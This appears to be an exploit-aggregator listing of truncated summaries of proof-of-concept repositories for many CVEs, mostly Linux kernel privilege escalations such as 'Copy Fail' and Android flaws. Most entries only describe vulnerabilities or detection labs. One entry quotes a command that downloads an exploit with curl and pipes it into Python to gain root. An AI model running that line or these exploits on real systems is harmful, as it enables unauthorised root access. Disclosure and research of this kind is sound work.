ServiceCheater

ServiceCheater Poc of CVE-2020-0113 & CVE-2020-0108 Androidフォアグラウンドサービス権限昇格の脆弱性分析 脆弱性の背景...

CVE-2026-46300

🛡️ CVE-2026-46300 - Fragnesia 一种干净而致命的页面缓存攻击 "Dirty Frag"家族的一个变种 📌 概述 CVE-2026-46300 （Fragnesia）是 Linux 内核在 XFRM/ESP-in-TCP 子系统（espintcp ULP）中 socket 缓冲区处理（skbtrycoalesce）的一个 高严重性逻辑缺陷 。 无特权的本地攻击者 可以对任何 可读 文件（包括 /usr/bin/su 等系统二进制文件）的内核页面缓存实现 任意字节写入 ，从而导致可靠的 本地权限提升为 root 。 ✨ 主要亮点 ✅ 无需竞争条件 ✅ 完全作用于...

pwnage24mtk

pwnage24mtk MTK デバイス向けの証明書エクスプロイト。MTK の証明書検証プロセスにはロジック上の欠陥があります。CVE-2023-20696 に類似しています。 6月にパッチが適用される可能性があります。 免責事項 このプロジェクトは研究目的のみで使用されます。 使用する前に必ず許可を取得してください。 不正使用は許可されません。 このエクスプロイトを使用して有料サービスを提供することは許可されません。 mtk デバイスでは、preloader は bl2ext/lk/atf を検証してから、それらにジャンプします。 これらのイメージは ASN.1 証明書で署名されていま...

poc-CVE-2026-0073

CVE-2026-0073 PoC（无线 ADB TLS 认证绕过） 该目录包含针对 CVE-2026-0073 的 Python 概念验证脚本。 该脚本使用 AI 辅助代码生成技术生成。 概述 CVE-2026-0073 是 ADB 守护进程证书验证（auth.cpp 中的 adbdtlsverifycert）中的一个逻辑问题。 存在漏洞的检查逻辑将 EVPPKEYcmp... 的任何非零返回值都视为成功匹配。 预期的比较结果处理应为： 1 = 密钥匹配 0 = 密钥不匹配 负值 = 错误 / 不支持的比较 在存在漏洞的构建版本中，负值会被视为真值，从而可能错误地将证书标记为已授权。...

Dirty-Frag-CVE-2026-43284

Dirty Frag CVE-2026-43284 y CVE-2026-43500 Laboratorio de reproducción y detección de exploits para una cadena de escalada de privilegios local en el kernel de Linux. Estado: VERIFICADO. Completé la reproducción, la verificación sin archivos y la detección a nivel de llamadas al sistema en el...

CVE-2019-11043

CVE-2019-11043 脆弱性の説明 Nginx 上の fastcgisplitpathinfo は、%0a を含むリクエストを処理する際、改行文字 \n に遭遇すると PATHINFO が空になります。そして php-fpm は PATHINFO が空の場合、論理的な欠陥が存在します。攻撃者は巧妙な構築と利用により、リモートコード実行を引き起こす可能性があります。 nx 上の fastcgisplitpathinfo は、%0a を含むリクエストを処理する際、改行文字 \n に遭遇すると PATHINFO が空になります。そして php-fpm は PATHINFO...

CVE-2024-30896

CVE-2024-30896 要約 influxdb のビジネスロジックの欠陥により、有効な allAccess トークンを持つユーザーが、現在の認可トークンを一覧表示することで、その権限をオペレーターレベルに昇格させることができます。 シナリオ 攻撃者は、管理者から自組織内でのみ有効な allAccess トークンを付与されたユーザーである可能性があります。 このユーザーの権限では、組織内の完全な制御が可能ですが、他の組織とのやり取りは引き続き防止されます。 影響 この脆弱性により、ユーザーは influxdb...

Copy-Fail-CVE-2026-31431-Lab

Copy Fail（CVE-2026-31431）— エクスプロイト再現＆検出ラボ このリポジトリは、カーネル 4.14〜7.0-rc に影響する重大な Linux カーネルローカル権限昇格脆弱性である CVE-2026-31431（"Copy Fail"） に関する、エンドツーエンドの再現、検出エンジニアリング、インシデントレスポンスを文書化したものです。 主な発見 ✅ Kali Linux 2026.1（カーネル 6.18.12+kali-amd64）で CVE-2026-31431 の悪用に成功 ✅ auditd のシステムコールレベル検出ルールを展開 ✅...

CVE-2026-78904-Digital-Dinar-Drain

CVE-2026-78904 — 数字迪拉姆盗取 CBDC 发行 API — 逻辑缺陷（无限铸造） 字段| 值 ---|--- 严重性| 9.8（严重） 攻击向量| 网络 受影响版本| 2.1.0 – 2.1.3 发现者| 𝕍𝕠𝕤𝕤🥷 描述 CBDC 发行 API 中的一个严重逻辑缺陷允许具有低级别访问权限的攻击者操纵铸造和赎回端点。这能够在未经授权的情况下创建或销毁 CBDC 单位。 影响 未经授权铸造 CBDC 单位 操纵赎回请求 无限铸造攻击向量 缓解措施 升级至 CBDC 发行 API 2.1.4 或更高版本 对铸造/赎回端点实施速率限制 对所有管理操作强制执行多因素授权 时间线...

CVE-2025-29448

CVE-2025-29448 Description booking logic flaw in Easy!Appointments v1.5.1 allows unauthenticated attackers to create appointments with excessively long durations, causing a denial of service by blocking all future booking availability. Steps to Reproduce 1. Intercept an appointment booking reques...

research-cve-2026-85649

CVE-2026-85649 | Holloway Chew, Kean Ho's Knowledge Research On 2026-08-26, a security vulnerability CVSS: 7.9, High7 was reported in Holloway Chew, Kean Ho's Actualizer v1.2.0 and below. The tool assumed that the mkpasswd command always produces a valid yescrypt password hash. In situations wher...

CVE-2026-82982

The Approval app's approve/reject endpoint contained a bypass in its etag freshness check , which is designed to prevent an approver from approving or rejecting a file whose contents changed after review. The backend only enforced the check when the etag parameter was present and non-empty; an at...

CVE-2025-31161

CVE-2025-31161 警告: このツールは、許可されたセキュリティテストおよび教育目的のみで使用してください。明示的な許可を得ていないシステムへの不正使用は違法です。 概要 このツールは、CVE-2025-31161 の概念実証（PoC）です。この脆弱性は、CrushFTP（バージョン 10.8.4 および 11.3.1）における重大な認証バイパスの脆弱性です。この脆弱性は、AWS4-HMAC ヘッダー解析のロジックエラーを悪用するもので、破損したヘッダーが IndexOutOfBounds...

CVE-2026-31431-copy-fail

Copy Fail 大多数 Linux LPE 需要竞态窗口或内核特定偏移。 Copy Fail 是一个直线逻辑缺陷——两者都不需要。 同一个 732 字节的 Python 脚本即可让自 2017 年以来发布的每个 Linux 发行版获得 root 权限。 快速运行： curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user groups=1002user...

CVE-2026-31431-PoC

Copy Fail - PoC para Python 3.9 CVE-2026-31431 El exploit público de Copy Fail no era compatible con Python 3.9, este sí lo es. El original fue modificado reemplazando el os.splice no disponible con un polyfill ligero de ctypes. 🚨 AVISO LEGAL CFAA y leyes relacionadas ESTE SOFTWARE SE PROPORCIONA...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail 732 字节。任何发行版。Root。 Linux 内核 authencesn 加密模板中的一个直线逻辑缺陷，使无特权的本地用户能够对任何可读文件（包括 setuid 二进制文件）的页缓存执行精确、受控的 4 字节写入。无需竞争条件。无需重试。无需重新编译。自 2017 年以来发布的每个主流 Linux 发行版均可获得 root 权限。 📄 技术分析文章 · 🔗 内核补丁 · 🛡️ CVSS：严重 已测试的发行版 发行版| 内核版本 ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linu...

copy-fail-cve-2026-31431

Copy Fail - CVE-2026-31431 本仓库提供了公开 Copy Fail PoC 的 Go 移植版本，以及一个可复现的多架构 Linux 二进制构建流水线。 Copy Fail（CVE-2026-31431）是 Linux 内核中 authencesn 的一个逻辑缺陷，它能够通过 AFALG + splice 实现对页缓存数据确定性的 4 字节写入。 负责任使用 请仅在您被明确授权测试的环境中使用本项目。请勿针对您不拥有或未经书面许可评估的系统运行此 PoC。 快速测试（无需构建） 如果您想立即测试而无需从源码构建，请下载发布二进制文件并运行：...

copyfail-go

CopyFail Go 大多数 Linux LPE 漏洞需要竞态窗口或特定内核的偏移量。Copy Fail 是一个直线型逻辑缺陷——两者都不需要。同一个 732 字节的 Python 脚本 静态 Go 二进制即可攻破自 2017 年以来发布的所有 Linux 发行版。 CVE-2026-31431 的 Go 实现。适用于你需要静态二进制且不依赖 Python 的情况。 更多信息请参阅 copy.fail。 交互式 Shell root@kitploit: Get the binary to your Linux host with code execution exercise for...

CVE-2026-31431-CopyFail-Linux-PrivEsc

CVE-2026-31431 CopyFail Linux ローカル権限昇格 CVE-2026-31431、Linux カーネルの Copy Fail ローカル権限昇格の脆弱性のデモと解説です。この脆弱性により、読み取り権限で開かれたファイルのデータがページキャッシュ内で上書きされる可能性があります。 このリポジトリは教育目的のみであり、管理された環境で脆弱性を示しています。 含まれるファイルは次のとおりです: root@kitploit: ├── exploit │ ├── copyfail.py Custom exploit that can target any file with...

CVE-2026-16141

OpenBMC's IPMI implementation, phosphor-net-ipmid, contains a logic flaw in which an unauthenticated client can force the RAKP Message 1 handler to return before it overwrites the authentication object's constructor defaults. The IPMI service then accepts a RAKP Message 3 whose HMAC is computed...